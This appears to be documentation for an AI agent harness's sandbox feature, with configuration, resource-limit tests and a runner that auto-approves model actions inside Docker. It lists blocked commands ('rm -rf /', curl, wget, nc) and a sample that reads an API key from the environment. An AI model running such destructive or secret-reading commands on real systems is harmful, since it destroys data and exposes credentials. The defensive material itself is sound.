Sandboxed Execution

harness --sandbox process "Run the test suite"

harness --sandbox docker "Run the test suite"
# Requires: Docker installed and daemon running
# Default image: python:3.12-slim

[sandbox]
enabled = true
mode = "process"              # "none", "process", or "docker"
max_memory_mb = 512           # Memory limit per command
max_cpu_seconds = 30          # CPU time limit per command
network_access = false        # Block network access
docker_image = "python:3.12-slim"  # Docker image (docker mode only)
allowed_paths = [
    "/home/user/project",     # Only allow access to project dir
    "/tmp",                   # And temp directory
]
blocked_commands = [
    "rm -rf /",               # Block dangerous commands
    "curl",                   # Block network tools
    "wget",
    "nc",
]

# sandbox_demo.py — demonstrates sandbox resource limits
import asyncio
from harness.sandbox.executor import create_executor
from harness.types.sandbox import SandboxPolicy, SandboxMode, ResourceLimits

async def main():
    policy = SandboxPolicy(
        mode=SandboxMode.PROCESS,
        resource_limits=ResourceLimits(
            max_memory_mb=64,      # Very low — 64MB
            max_cpu_seconds=5,     # Very short — 5 seconds
            max_processes=8,       # Very few processes
        ),
        blocked_commands=("rm -rf", "curl", "wget"),
    )
    executor = create_executor(policy)

    # Test 1: Memory limit
    print("Test 1: Memory limit (64MB)...")
    result = await executor.execute("python3 -c \"x = 'a' * (100 * 1024 * 1024)\"")
    print(f"  Exit: {result.exit_code}, OOM: {result.oom_killed}")
    # Expected: oom_killed=True

    # Test 2: CPU timeout
    print("Test 2: CPU timeout (5s)...")
    result = await executor.execute("python3 -c \"while True: pass\"")
    print(f"  Exit: {result.exit_code}, Timed out: {result.timed_out}")
    # Expected: timed_out=True

    # Test 3: Blocked command
    print("Test 3: Blocked command...")
    error = executor.validate_command("rm -rf /")
    print(f"  Validation: {error}")
    # Expected: "Command blocked by sandbox policy"

    # Test 4: Normal execution
    print("Test 4: Normal execution...")
    result = await executor.execute("echo 'Hello from sandbox!'")
    print(f"  Output: {result.stdout.strip()}")
    print(f"  Exit: {result.exit_code}")
    # Expected: "Hello from sandbox!", exit_code=0

    await executor.cleanup()

asyncio.run(main())

# Override sandbox mode per invocation
harness --sandbox docker "Run untrusted tests"
harness --sandbox process "Quick analysis"
harness --sandbox none "Trusted local task"

# untrusted_runner.py
import asyncio
import harness

async def run_untrusted(code: str) -> str:
    """Run AI-generated code in a sandboxed environment."""
    prompt = f"""Execute this code and report the output:
```python
{code}
```
If the code fails, explain why and suggest a fix."""

    result_text = ""
    async for msg in harness.run(
        prompt,
        provider="anthropic",
        model="claude-sonnet-4-20250514",
        permission_mode="bypass",     # Auto-approve (safe because sandboxed)
        sandbox_mode="docker",        # Full Docker isolation
        max_turns=5,
    ):
        if isinstance(msg, harness.Result):
            result_text = msg.text

    return result_text

# Example usage
async def main():
    # Safe: sandboxed — even if the code is malicious
    output = await run_untrusted("""
import os
print(os.listdir('/'))
print(os.environ.get('ANTHROPIC_API_KEY', 'NOT FOUND'))
""")
    print(output)
    # API key will be "NOT FOUND" because sandbox strips it!

asyncio.run(main())